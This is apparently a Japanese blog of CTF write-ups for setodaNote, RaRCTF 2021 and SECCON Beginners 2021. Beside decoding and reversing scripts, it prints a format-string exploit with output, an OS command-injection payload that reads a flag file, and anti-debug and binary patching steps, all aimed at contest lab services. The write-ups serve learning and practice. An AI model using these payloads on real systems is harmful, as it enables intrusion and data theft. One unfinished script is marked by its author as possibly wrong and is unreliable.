B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.

A:... What?

B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.

Flag: flag{Have_you_ever_heard_of_Hexdump?}

tkys_secret_service

多分quipqiupに丸投げするのが一番早いと思います。

Decoded:

The protection of Fontrolled Nnclassified Onformation (FNO) resident in nonfederal systems and organizations is of paramount importance to federal agencies and can directly impact the ability of the federal government to successfully conduct its essential missions and functions. This publication provides agencies with recommended security requirements for protecting the confidentiality of FNO when the information is resident in nonfederal systems and organizations; when the nonfederal organization is not collecting or maintaining information on behalf of a federal agency or using or operating a system on behalf of an agency; and where there are no specific safeguarding requirements for protecting the confidentiality of Clag is flag{puipui_car_of_mol} FNO prescribed by the authorizing law, regulation, or governmentwide policy for the FNO category listed in the FNO Registry. The requirements apply to all components of nonfederal systems and organizations that process, store, and/or transmit FNO, or that provide protection for such components. The security requirements are intended for use by federal agencies in contractual vehicles or other agreements established between those agencies and nonfederal organizations.

Flag: flag{puipui_car_of_mol}

vul_rsa_01

$ python3 RsaCtfTool.py -e 65537 -n 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 --uncipher 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335

[REDACTED SOME LINES]

Unciphered data :
HEX : 0x0000000000666c61677b7765616b5f7273615f63616e5f62655f646563727970746564217d
INT (big endian) : 46327402297761911070944293204953074319567693047395802794186233938451290661245
INT (little endian) : 62230274487105820292772638823612604590748807093488833479858991971752061223012822008463360
utf-8 : flag{weak_rsa_can_be_decrypted!}
STR : b'\x00\x00\x00\x00\x00flag{weak_rsa_can_be_decrypted!}'

Flag: flag{weak_rsa_can_be_decrypted!}

vul_rsa_02

$ python3 RsaCtfTool.py -e 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 -n 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 --uncipher 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681

[REDACTED SOME LINES]

Unciphered data :
HEX : 0x00026d79a6fba2741958ce82462855a96ec4dc1623133cfc341579920befc02eb7b9e0a3bbb87200666c61677b3139375f4d69636861656c5f4a5f5769656e65725f3637337d
INT (big endian) : 139798168458800312619727954564053595602272620374704334322644822890230408773803390124016933159608289280352695220195070051973287657162728356081272992926853175686148989
INT (little endian) : 1845704400959999148955767357764584773879807573417556934806144078363531192151775289329637546633081241953731286516885596747340023540455177925029084293276584228646671942144
utf-16 : Ȁ祭ﮦ璢堙苎⡆꥕쑮ᛜጣﰼᔴ鉹⻀릷ꏠ뢻r汦条ㅻ㜹䵟捩慨汥䩟坟敩敮彲㜶紳
STR : b'\x00\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'

Flag: flag{197_Michael_J_Wiener_673}

Rev

Helloworld

Ghidraなどのツールを用いて解析することで、FlagがXOR (key: 0x4e) でエンコードされてハードコードされていることがわかる。以下のようなスクリプトを用いることでFlagを入手することができる。

Solver:

flag_dat = [0x28, 0x22, 0x2f, 0x29, 0x35, 0x28, 0x3c, 0x2b, 0x2b, 0x11, 0x28, 0x2f, 0x27, 0x3c, 0x11, 0x2f, 0x20, 0x2a, 0x11, 0x3d, 0x2b, 0x2d, 0x3b, 0x3c, 0x2b, 0x11, 0x2d, 0x37, 0x2c, 0x2b, 0x3c, 0x3d, 0x3e, 0x2f, 0x2d, 0x2b, 0x33]
i = 0
while i < 0x25:
    print(chr(flag_dat[i] ^ 0x4e), end='')
    i += 1

Output:

> python .\solver.py
flag{free_fair_and_secure_cyberspace}

つい癖でFlagの出力部分を静的解析してしまったが、落ち着いてコードを読めば態々こんなことをしなくても実行時の引数に flag を付けるだけでFlagを入手できることがわかる。

> .\helloworld.exe flag
flag{free_fair_and_secure_cyberspace}

Flag: flag{free_fair_and_secure_cyberspace}

ELF

ELFファイルのヘッダ部分が書き換えられているので、修正して実行するとFlagを入手することができる。

f:id:m0pisec:20210822141833p:plain

$ ./elf
flag{run_makiba}

Flag: flag{run_makiba}

Passcode

Ghidraなどのツールを用いて解析することで、プログラムが要求しているパスコードが 20150109 であることがわかる。このパスコードの先頭に flag{ , 終末に } を付与した文字列がFlagである。

Flag: flag{20150109}

Passcode2

Passcodeでは平文で管理されていたパスコードをXOR (key: 0x2a) エンコードしている。デコンパイルによって得た情報をもとに、以下のようなスクリプトを作成することでFlagを入手することができる。

Solver:

a = bytearray(b'\x1e\x1b\x1a\x18\x04\x5a\x4f\x79\x04\x1f\x18')
i = 0
flag = ''

while i < 0xb:
    flag += chr(a[i] ^ 0x2a)
    i += 1

print('flag{' + ''.join(list(reversed(flag))) +'}')

Output:

> python .\solver.py
flag{25.Sep.2014}

Flag: flag{25.Sep.2014}

to_analyze

_CorExeMain() 関数の存在から、.NETアプリケーションであることが推測できる。dotPeek などのツールを用いてデコンパイルする。Directoryが存在するか確かめているコードを見つけることができるので、引数として渡されている値を以下のようなスクリプトを用いて求める。

numArray = [65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177]

def a(b, i):
    if i == 119:
        if b == 107 or b == 117 or b == 108 or b == 102 or b == 98:
            return True
    elif b == 110 or b == 119 or (b == 99 or b == 111) or (b == 97 or b == 101 or (b == 112 or b == 103)) or (b == 108 or b == 107 or (b == 112 or b == 113)):
        return True
    return False

def b(b, i):
    if i == 39:
        b ^= 19
    elif i == 114:
        b ^= 40
    return b

for i in range(len(numArray)):
    numArray[i] ^= 35
    if a(numArray[i], 119):
        numArray[i] += 3
    numArray[i] ^= 21
    numArray[i] -= 32
    numArray[i] = b(numArray[i], 39)

for fch in numArray: print(chr(fch), end='')

Output:

> python .\solver.py
C:\Users\321txt

同じ要領でFlagの出力部分を解析しても良いが、面倒だったので上記のフォルダを検証環境上に作成しプログラムを実行した。

Output:

> .\to_analyze.exe
Yes, that's the right answer.

flag{Do_y0u_Kn0w_Ursnif?}

Flag: flag{Do_y0u_Kn0w_Ursnif?}

Forensics

paint_flag

配布された docx ファイルをZIPファイルとして解凍し word\media\flag.png を発見することでFlagを入手することができる。

f:id:m0pisec:20210823142549p:plain
flag.png

Flag: flag{What_m4tters_is_inside;)}

Mail

ImapMail\mail.setodanote.net\Sent-1 を読むとBase64エンコードされたZIPファイルを発見することができる。Pythonなどを用いてBase64デコードを行いZIPファイルを出力し、そのZIPファイルを解凍し格納されていた goodjob.png を発見することでFlagを入手することができる。

f:id:m0pisec:20210823143426p:plain
goodjob.png

Flag: flag{You've_clearly_done_a_good_job_there!!}

Deletedfile

配布されたディスクイメージファイルのroot直下に存在する secret_word.jpg を発見することでFlagを入手することができる。

f:id:m0pisec:20210823143813j:plain
secret_word.jpg

Flag: flag{nosce_te_ipsum}

Timeline

DB Browser for SQLite (URL)などを用いて ActivitiesCache.db を調査すると、Flagが一文字ずつテキストファイルのファイル名として隠されていることがわかる。適切なフィルタなどを用いつつ文字を繋ぎ合わせることでFlagを入手することができる。

f:id:m0pisec:20210823151454p:plain

Flag: flag{Th3_Fu7Ure_1s_N0w}

browser_db

BrowsingHistoryView (URL)などを用いて stella_9s84jetw.default-release_places.sqliteを調査することでFlagを入手することができる。

f:id:m0pisec:20210823151905p:plain

Flag: flag{goosegoosego}

MFT

MFTExplorer (URL)などを用いてC_$MFTを調査することでFlagを入手することができる。

f:id:m0pisec:20210823153426p:plain f:id:m0pisec:20210823153600p:plain

Flag: flag{kimitsu.zip}

tkys_another_day

apngdis などを用いてPNGファイルを分割し、合成することでFlagを入手することができる。

$ apngdis t.png

APNG Disassembler 2.9

Reading 't.png'...
extracting frame 1 of 5
extracting frame 2 of 5
extracting frame 3 of 5
extracting frame 4 of 5
extracting frame 5 of 5
all done

合成後の画像:

f:id:m0pisec:20210823155937j:plain

Flag: flag{a_fake_illness_is_the_most_serious_disease_f5ab7}

CSIRT_asks_you_01

FullEventLogView (URL)などを用いて配布されたイベントログファイルをID: 4624を中心に調査することでFlagを入手することができる。

f:id:m0pisec:20210824044205p:plain

Flag: flag{2021/07/18_20:09:21_4624}

unallocated_space

未使用領域から動画ファイル (MP4形式) を抽出すればFlagを入手することができる。Foremostを用いてカービングを行おうとしたが失敗したので、バイナリエディタを用いて手動で抽出を行った。

f:id:m0pisec:20210824050414p:plain

Flag: flag{file_carving_gogo}

Programming

ZZZIPPP

以下のソルバを実行すると flag.txt が解凍され、Flagを入手することができる。

Solver:

import zipfile

nlist = list(range(1, 1001))
nlist.reverse()

for i in nlist:
    with zipfile.ZipFile('flag' + str(i) + '.zip') as fzip:
        fzip.extractall()

Flag: flag{loop-zip-1989-zip-loop}

echo_me

以下のソルバを実行すればFlagを入手することができる。

Solver:

from pwn import *

r = remote('10.1.1.10', 12020)

while True:
    try:
        r.recvuntil(b'echo me: ')
        et = r.recvuntil(b'\n')
        r.send(et)
    except:
        r.interactive()

Output:

$ python3 echome_solve.py
[+] Opening connection to 10.1.1.10 on port 12020: Done
[*] Switching to interactive mode
==========
Correct!

flag{Hellow_yamabiko_Yoo-hoo!}

Flag: flag{Hellow_yamabiko_Yoo-hoo!}

EZZZIPPP

以下のソルバを実行すると flag.txt が解凍され、Flagを入手することができる。

Solver:

import os
import zipfile

nlist = list(range(1, 1001))
nlist.reverse()

for i in nlist:
    with open('pass.txt', 'r') as pf:
        passwd = pf.read()[:-1]
    os.remove('pass.txt')
    with zipfile.ZipFile('flag' + str(i) + '.zip') as fzip:
        fzip.extractall(pwd=passwd.encode())

Flag: flag{bdf574f15645df736df13daef06128b8}

deep_thought

以下のソルバを実行すればFlagを入手することができる。

Solver:

from pwn import *

r = remote('10.1.1.10', 12010)

while True:
    try:
        if input(r.recvuntil(b'\n').decode()[:-1] + ' > ') == 'n':
            r.interactive()
        et = r.recvuntil(b'\n').decode()[:-1].split(' ')
        if et[1] == '+':
            r.send(str(int(et[0])+int(et[2])) + '\n')
        elif et[1] == '-':
            r.send(str(int(et[0])-int(et[2])) + '\n')
        r.recvuntil(b'\n')
        r.recvuntil(b'\n')
    except:
        r.interactive()

Output:

$ python3 deep_solve.py 
[+] Opening connection to 10.1.1.10 on port 12010: Done
[ Q1 ] > 
[ Q2 ] > 
[ Q3 ] > 
[ Q4 ] > 
[ Q5 ] > 
[ Q6 ] > 
[ Q7 ] > 
[ Q8 ] > 
[ Q9 ] > 
[ Q10 ] > 
[ Q11 ] > 
[ Q12 ] > 
[ Q13 ] > 
[ Q14 ] > 
[ Q15 ] > 
[ Q16 ] > 
[ Q17 ] > 
[ Q18 ] > 
[ Q19 ] > 
[ Q20 ] > 
[ Q21 ] > 
[ Q22 ] > 
[ Q23 ] > 
[ Q24 ] > 
[ Q25 ] > 
[ Q26 ] > 
[ Q27 ] > 
[ Q28 ] > 
[ Q29 ] > 
[ Q30 ] > 
[ Q31 ] > 
[ Q32 ] > 
[ Q33 ] > 
[ Q34 ] > 
[ Q35 ] > 
[ Q36 ] > 
[ Q37 ] > 
[ Q38 ] > 
[ Q39 ] > 
[ Q40 ] > 
[ Q41 ] > 
[ Q42 ] > 
[ Q43 ] > 
[ Q44 ] > 
[ Q45 ] > 
[ Q46 ] > 
[ Q47 ] > 
[ Q48 ] > 
[ Q49 ] > 
[ Q50 ] > 
flag{__42__} > 
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Flag: flag{__42__}

Pwn

tkys_let_die

$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> ABCDEFGHIJKLMNOPQRSTUVWXYZopen

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

Flag: flag{Alohomora}

1989

Solver:

from pwn import *
import struct

r = remote('10.1.1.10', 13030)

r.recvuntil('flag    | [')
addr = r.recvuntil(']')[:-1].decode()

payload = struct.pack('<I', int(addr, 16))
payload += b'%4$s\n'

r.send(payload)
r.recvuntil('\n')
r.recvuntil('\n')
r.recvuntil('\n')
print(r.recvuntil('\n'))

Output:

$ python3 1989_solver.py 
[+] Opening connection to 10.1.1.10 on port 13030: Done
b'Ready > Your Inpur : `\xf0WVflag{Homenum_Revelio_1989}\n'
[*] Closed connection to 10.1.1.10 port 13030

Flag: flag{Homenum_Revelio_1989}

RaRCTF 2021 Writeup

皆様、RaRCTF 2021、お疲れ様でした!
「CTFをたくさんやりたい!」な夏を過ごしている私です。
今回はソロ参加で主にReversing問を解いていました(高得点なものは殆ど解けていませんが)。
ここでWriteupを供養させていただければと思います。

verybabyrev (rev)

  // わかりやすくするために一部省略しています
  flag = 0x45481d1217111313;
  local_100 = 0x95f422c260b4145;
  local_f8 = 0x541b56563d6c5f0b;
  local_f0 = 0x585c0b3c2945415f;
  local_e8 = 0x402a6c54095d5f00;
  local_e0 = 0x4b5f4248276a0606;
  local_d8 = 0x6c5e5d432c2d4256;
  local_d0 = 0x6b315e434707412d;
  local_c8 = 0x5e54491c6e3b0a5a;
  local_c0 = 0x2828475e05342b1a;
  local_b8 = 0x60450073b26111f;
  local_b0 = 0xa774803050b0d04;
  local_a8 = 0;
  printf("Enter your flag: ");
  fgets((char *)&input,0x80,stdin);
  i = 0;

  for (; i < 0x7f; i = i + 1) {
    *(byte *)((long)&input + (long)i) =
         *(byte *)((long)&input + (long)i) ^ *(byte *)((long)&input + (long)(i + 1));
  }
  iVar1 = memcmp(&flag,&input,0x61)

Ghidraでデコンパイル結果を読んでいると、プログラム内部で上記のような処理(XORでエンコーディング)が行われていることがわかります。解けなさそうだと最初は思いましたが、Flagの先頭が rarctf{ であるという情報を踏まえれば、下記のスクリプトの要領で解けます。

import string

enc = "\x13\x13\x11\x17\x12\x1d\x48\x45"
enc += "\x45\x41\x0b\x26\x2c\x42\x5f\x09"
enc += "\x0b\x5f\x6c\x3d\x56\x56\x1b\x54"
enc += "\x5f\x41\x45\x29\x3c\x0b\x5c\x58"
enc += "\x00\x5f\x5d\x09\x54\x6c\x2a\x40"
enc += "\x06\x06\x6a\x27\x48\x42\x5f\x4b"
enc += "\x56\x42\x2d\x2c\x43\x5d\x5e\x6c"
enc += "\x2d\x41\x07\x47\x43\x5e\x31\x6b"
enc += "\x5a\x0a\x3b\x6e\x1c\x49\x54\x5e"
enc += "\x1a\x2b\x34\x05\x5e\x47\x28\x28"
enc += "\x1f\x11\x26\x3b\x07\x50\x04\x06"
enc += "\x04\x0d\x0b\x05\x03\x48\x77\x0a"
enc += "\x00\x00\x00\x00\x00\x00\x00\x00"
flag = "rarctf{"

for i in range(7,96):
    for c1 in string.printable:
        if ord(flag[i-1]) ^ ord(enc[i-1]) == ord(c1):
            flag += c1

print(flag)

このスクリプトを実行すると

> python .\verybabyrev.py
rarctf{3v3ry_s1ngl3_b4by-r3v_ch4ll3ng3_u535_x0r-f0r_s0m3_r34s0n_4nd_1-d0nt_kn0w_why_dc37158365}

Flagを入手することができます。

Dotter (rev)

問題名の時点で.NET関係だと推測しつつGhidraで解析してみると、やはり.NET関係だったのでdotPeekを用いてデコンパイルして解析しました。内部で行われている処理はとても単純ですし、最悪解析しなくても解ける分 verybabyrev よりも簡単かもしれませんね。

check = "-|....|.|/|..-.|.-..|.-|--.|/|..|...|/|---|.---|--.-|-..-|.|-.--|...--|..-|--|--..|.....|.--|..|--|.-..|.|.-..|.....|....-|-|.-|.....|-.-|--...|---|.-|--..|-|--.|..---|..---|--...|--.|-...|--..|..-.|-....|-.|.-..|--.-|.--.|.|--...|-|-....|.--.|--..|--...|.-..|.....|-|--.|-.-.|-.|-..|-...|--|--|...--|-..|.-|-.|.-..|.....|/|-...|.-|...|.|...--|..---"
fclist = check.split('|')
flag = ""
for fc in fclist:
    if fc == "/": flag += ' '
    elif fc == ".-": flag += 'A'
    elif fc == "-...": flag += 'B'
    elif fc == "-.-.": flag += 'C'
    elif fc == "-..": flag += 'D'
    elif fc == ".": flag += 'E'
    elif fc == "..-.": flag += 'F'
    elif fc == "--.": flag += 'G'
    elif fc == "....": flag += 'H'
    elif fc == "..": flag += 'I'
    elif fc == ".---": flag += 'J'
    elif fc == "-.-": flag += 'K'
    elif fc == ".-..": flag += 'L'
    elif fc == "--": flag += 'M'
    elif fc == "-.": flag += 'N'
    elif fc == "---": flag += 'O'
    elif fc == ".--.": flag += 'P'
    elif fc == "--.-": flag += 'Q'
    elif fc == ".-.": flag += 'R'
    elif fc == "...": flag += 'S'
    elif fc == "-": flag += 'T'
    elif fc == "..-": flag += 'U'
    elif fc == "...-": flag += 'V'
    elif fc == ".--": flag += 'W'
    elif fc == "-..-": flag += 'X'
    elif fc == "-.--": flag += 'Y'
    elif fc == "--..": flag += 'Z'
    elif fc == ".----": flag += '1'
    elif fc == "..---": flag += '2'
    elif fc == "...--": flag += '3'
    elif fc == "....-": flag += '4'
    elif fc == ".....": flag += '5'
    elif fc == "-....": flag += '6'
    elif fc == "--...": flag += '7'
    elif fc == "---..": flag += '8'
    elif fc == "----.": flag += '9'
    elif fc == "-----": flag += '0'

print(flag)

かなり長いですが、恐らく想定解だと思います。実行すると以下のようなメッセージが出力されます。

> python .\dotter.py
THE FLAG IS OJQXEY3UMZ5WIMLEL54TA5K7OAZTG227GBZF6NLQPE7T6PZ7L5TGCNDBMM3DANL5 BASE32

Base32でデコードしてみると rarctf{d1d_y0u_p33k_0r_5py????_fa4ac605} というFlagが手に入ります。

RaRPG (rev)

* : プレイヤーの駒
X : 別マップにジャンプするマス
W : 壁
~ : 不明

f:id:m0pisec:20210807162303p:plain
壁みたいなものに阻まれているのが恐らくFlagへの入り口です

典型的なゲームでチートするタイプの問題です。クライアント側のバイナリにパッチを当てれば簡単に解くことができます。まずIDAなどでクライアント側のバイナリを解析して、移動周りの処理をしている部分を探します。

f:id:m0pisec:20210807161520p:plain
発見

今回は2マスずつ移動するように調整してみました。 私の場合は何故かGhidraを使ってパッチを当てると Segmentation Fault などが発生してパッチされたバイナリを実行できないのでIDAを使用していますが、Ghidra単体でもパッチは可能なはずです。詳しい原因はわかっていないので、今度 010 Editor で両者(IDAを用いてパッチしたバイナリとGhidraを用いてパッチしたバイナリ)を比較してみようと思います。

f:id:m0pisec:20210807161904p:plain
パッチを当てて

f:id:m0pisec:20210807162136p:plain
入れないはずのエリアに侵入して

f:id:m0pisec:20210807162158p:plain
Flagを入手しました

Infinite Free Trial (rev)

シリアルコードのようなものを見つければ良いらしいです。

f:id:m0pisec:20210807165129p:plain
雑にバイナリだけscpで持ってきたので、画像が画面に映しだされていません

Ghidraで解析してみると、CRCとXORの二段階のチェックでシリアルコードのValidationを行っていることがわかりました。
少し悩みましたが、アルゴリズム的にBruteforceで対応できそうなので、こんなスクリプトを書いてみました。

import string

xor_check = [0x09, 0x16, 0x17, 0x0f, 0x17, 0x56, 0x16, 0x44, 0x3a, 0x18, 0x53, 0x6f, 0x14, 0x03, 0x2a, 0x06, 0x6f, 0x31, 0x1c, 0x47, 0x2a, 0x06, 0x2d, 0x5f, 0x51, 0x1b, 0x00, 0x46, 0x4a, 0x00, 0x04, 0x55, 0x66, 0x50, 0x01, 0x4c]
flag = "rarctf"

for i in range(len(xor_check)):
    for fc in string.printable:
        if ord(flag[i]) ^ ord(fc) == xor_check[i]:
            flag += fc

print(flag)

これを実行すると

> python .\iftsolver.py
rarctf{welc0m3_t0_y0ur_new_tr14l_281099b9}

Flagを入手することができます。

Very TriVial ReVersing (rev - 解けていない)

V言語で書かれたプログラムらしいということを掴んで、Ghidraでコードを読んでいましたが複雑すぎて理解できず。色々と試行錯誤していたら同時並行で解析していた Jammy's Old Infra 同様、タイムアップで終わってしまいました。他の参加者の方のWriteupを読んで勉強したいと思います。

Jammy's Old Infra (rev - 解けていない)

APK問なので最初に apktoolデコンパイルしたコードを読んでいると、ユーザー名とパスワードのValidationをライブラリに投げていることがわかりました。 libnative-lib.so というライブラリが該当する処理を担っているようだったので、Ghidraを用いて解析することにしました。

内部でAES暗号で暗号化されたユーザー名とパスワードを保有しているようだったので、まず共通鍵を取得するためのスクリプトを作成しました。

dat = [0xff3ff9cc, 0xffffffce, 0xff88b0f8, 0xffffff58, 0xdda07cdd, 0xffffff99. 0x8a320600, 0xffffffc9, 0x25b54dda, 0xffffffa8, 0xbe11c670, 0xffffff32, 0x7106bc1a, 0xfffffff0, 0x6525ce47, 0xfffffff2, 0x9a345e8d, 0xffffffc4, 0x665ef7f9, 0xffffff96, 0xa6029980, 0xffffff25, 0x686a361, 0xffffffc1, 0xf985df98, 0xffffff94, 0xd96ab842, 0xffffff7e, 0x26a0bf30, 0xffffffa1, 0x1c38dbd8, 0xffffff9e]
res = [0x30] * (0xf + 1)

# 最後まで解けていないので間違っているかもしれません
for i in range(0, 0x20, 4):
    res[i] = ~dat[i+1]
    res[i+1] = ~dat[i+2]
    res[i+1] = ~dat[i+3]
    res[i+1] = ~dat[i+4]

次にユーザー名を復号しようと思ったのですが、このタイミングで時間切れになってしまいました。
こちらも他の参加者の方のWriteupを読んでどんな方針で解析していけばいいのか勉強したいと思います。

lemonthinker (web)

Infinite Free Trialを解いた後に lemonthinker が簡単だという噂を聞いて、そこまで得意ではないweb問ですが手を出してみることにしました。

配布されたソースコードを読むと、明らかにOSコマンドインジェクションの脆弱性がありそうな部分が見つかるので、適当なペイロードを送信してみました。

f:id:m0pisec:20210807234956p:plain

するとネギの画像を返されるので generate.py を見てみると、rarctf が出力に入っていると弾かれることがわかります。そこで $(cat ../flag.txt | cut -c 2-8) のようなペイロードを投げてみると

f:id:m0pisec:20210807235315p:plain

問題なくFlagの断片を入手することができました。最初の一文字以外をすべて出力しようとしたところ、画像上のキャラクターが邪魔でうまくいかなかったので、そのまま数文字ずつFlagを集めて、つなぎ合わせればflagが rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf} だとわかります。

さいごに

私事で忙しく、時間があまり取れなかったとはいえ、簡単な問題しか解くことができず消化不良感を感じています。
まだまだ今夏開催予定のCTFは沢山あるので、今後も沢山解析して勉強していきたいと思います。
皆様、猛暑には注意しつつ、良い夏をお過ごしください。

SECCON CTF for Beginners 2021 Writeup

SECCON Beginners CTF 2021にチームr0bu5tの一員として参加させていただきました。今回はReversing全完を目標にして取り組んで、開始から三時間三十分くらいで目標達成しました。

ありがたいことに一緒に参加してくれたprprhyt氏、kawasin73氏がWeb, Crypto問などに取り組んでくれていたので、残りの時間は色々なカテゴリーの問題を嗜む程度にやってました(解けたとは言っていない)。本当にありがとうございました(and お疲れさまでした)。 :bow:
また運営の皆様もこのような素晴らしいCTFを開催していただきありがとうございました。とても楽しい二日間でした。
本記事には自分が解いた問題に関するWriteupのようなものが書かれているので、参考程度に見ていっていただけたら嬉しいです。

only_read (rev)

名前通り。(読むだけ)

f:id:m0pisec:20210522140402p:plain

Flag: ctf4b{c0n5t4nt_f01d1ng}

children (rev)

配布されたプログラムを実行すると

十個の子プロセスを生成するよ!十個以上生成される場合もあるよ!
子プロセスのプロセスIDを教えて!

という旨のメッセージが表示されるので、指示に従います。
最後に合計で何個の子プロセスが生成されたか聞かれるので、正確な数を答えるとFlagが出ます。
これReversingではなくMiscでは?? :thinking_face:

f:id:m0pisec:20210522144243p:plain

Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me (rev)

Flagが出力されないので、gdbなどのデバッガーを使用して確認する必要があるけど、ptraceが入ってるから使えないみたいです。(私はgdbの使い方があまりよくわからなくて二時間ほど溶かしましたが)昨年(SECCON Beginners CTF 2020)の sneaky という問題を履修していれば簡単に解けます。一応解き方を書いておくと

  1. ptraceを呼ばないように実行ファイルにパッチを当てる
  2. gdbで適時危ない箇所を見ながら、プログラムの終了直前まで進む
  3. flagがレジスタ内に入ってる

ポイントとして二つあるptraceの片方が失敗するようになっているので(返り値が0にならない)、そこだけデアセンブルを見ながらメモリに値をgdbを通して書き込むことで回避しました。

f:id:m0pisec:20210523110401p:plain
実行ファイルにパッチした後

f:id:m0pisec:20210523110438p:plain
gdbでflagを出す

Flag: ctf4b{d1d_y0u_d3crypt_rc4?}

be_angry (rev)

angr問。ベースアドレスを指定する必要があるとはいえ、難易度Mediumは言い過ぎな気がしました。まあ解けたのでオッケーです! :+1:

追記: 何ならlambda使えばベースアドレス指定も要らなかった模様。確かに。

>>> p = angr.Project("./chall.3", load_options = {'main_opts':{'base_addr': 0x0000555555555000}})
>>> e = p.factory.entry_state()
>>> simgr = p.factory.simulation_manager(e)
>>> s = simgr.explore(find=0x555555557532)
WARNING | 2021-05-22 16:02:02,887 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x5555555578f9 (_1_main_flag_func_4+0x1f in chall.3 (0x28f9))
WARNING | 2021-05-22 16:02:02,888 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x5555555578f9 (_1_main_flag_func_4+0x1f in chall.3 (0x28f9))
>>> s
<SimulationManager with 2 active, 22 deadended, 1 found>
>>> s.found[0].posix.dumps(0)
b'ctf4b{3nc0d3_4r1thm3t1c}'

Flag: ctf4b{3nc0d3_4r1thm3t1c}

firmware (rev)

配布されたファイルは実行ファイルかと思いきや、色々な種類のファイルが混ざった闇鍋ファイルでした。目grepしてELFが見えたので適当に抽出してそれをGhidraにかけてフローを読んでいけば、あれやこれやわかって(xorでここのデータをデコードしていて....など)Flagがわかります。問題名がfirmwareだったので「難しそうだな~」と思いましたが、リアルに十分くらいで解けたので普通に簡単でしたね。

......と、思いましたがReversingの中では一番solveが少ない。なぜ。

f:id:m0pisec:20210522153726p:plain

>>> oridata = [0x30,0x27,0x35,0x67,0x31,0x28,0x3a,0x63,0x27,0x0c,0x37,0x36,0x25,0x62,0x30,0x36,0x0c,0x35,0x3a,0x21,0x3e,0x24,0x67,0x21,0x36,0x0c,0x32,0x3d,0x32,0x62,0x2a,0x20,0x3a,0x60,0x0c,0x21,0x36,0x25,0x60,0x32,0x62,0x20,0x0c,0x32,0x0c,0x3f,0x63,0x27,0x0c,0x3c,0x35,0x0c,0x66,0x36,0x30,0x21,0x36,0x64,0x20,0x2e,0x59]
>>> len(oridata)
61
>>> flag = ""
>>> i = 0
>>> while i < 61:
...     flag = flag + chr(oridata[i] ^ 0x53)
...     i = i + 1
...
>>> flag
'ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}\n'

Flag: ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

以上でReversing問はおわりです。以下はその他の問題のWriteup。

simple_RSA (crypto)

sanity check. 放置されてたので拾ってRsaCtfToolにかけて終わり。

$ python3 RsaCtfTool.py -n 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 -e 3 --uncipher 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
・
・略
・
Results for /tmp/tmpk9jnxblb:

Unciphered data :
HEX : 0x63746634627b302c312c31302c31312e2e2e497427735f736f5f616e6e6f79696e672e5f5f5f49276d5f646f6e657d
INT (big endian) : 59794831782110540824905303318706147427325410868387651570741854903973308152253277340232651694780110842176190965117
INT (little endian) : 75391578580851103181433066932790227485569227688076229032569777859612996898560666851200930122567113349338681996387
STR : b"ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}"

git-leak (misc)

自明。まあよくあるやつです。

